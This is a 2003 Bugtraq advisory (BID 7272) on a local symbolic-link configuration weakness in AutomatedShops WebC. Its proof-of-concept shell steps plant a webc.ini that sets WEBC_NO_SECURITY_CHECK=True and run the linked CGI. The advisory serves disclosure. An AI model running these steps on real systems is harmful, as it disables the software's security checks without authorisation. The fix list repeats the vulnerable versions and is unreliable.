AutomatedShops WebC Symbolic Link Following Configuration File Weakness

BID:7272

Info

AutomatedShops WebC Symbolic Link Following Configuration File Weakness

Bugtraq ID: 7272
Class: Design Error
CVE:
Remote: No
Local: Yes
Published: Apr 03 2003 12:00AM
Updated: Apr 03 2003 12:00AM
Credit: Discovery credited to Carl Livitt <[email protected]>.
Vulnerable: AutomatedShops WebC 5.0 10
AutomatedShops WebC 5.0 05
AutomatedShops WebC 5.0
AutomatedShops WebC 2.0 11
Not Vulnerable: AutomatedShops WebC 5.0 20

Discussion

AutomatedShops WebC Symbolic Link Following Configuration File Weakness

It has been reported that WebC will execute in the directory of a symbolic link from which it is invoked. Because of this, it may be possible for a local user to load a configuration file that enabled dangerous variables.

Exploit / POC

AutomatedShops WebC Symbolic Link Following Configuration File Weakness

The following example has been provided:

$ cd /tmp
$ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi
$ cp /usr/local/apache/cgi-bin/webc.emf .
$ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini
$ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini
$ ./webc.cgi

Solution / Fix

AutomatedShops WebC Symbolic Link Following Configuration File Weakness

Solution:
The vendor has released a new version to address this issue:


AutomatedShops WebC 2.0 11

AutomatedShops WebC 5.0 05

AutomatedShops WebC 5.0 10

AutomatedShops WebC 5.0

References

AutomatedShops WebC Symbolic Link Following Configuration File Weakness

References:

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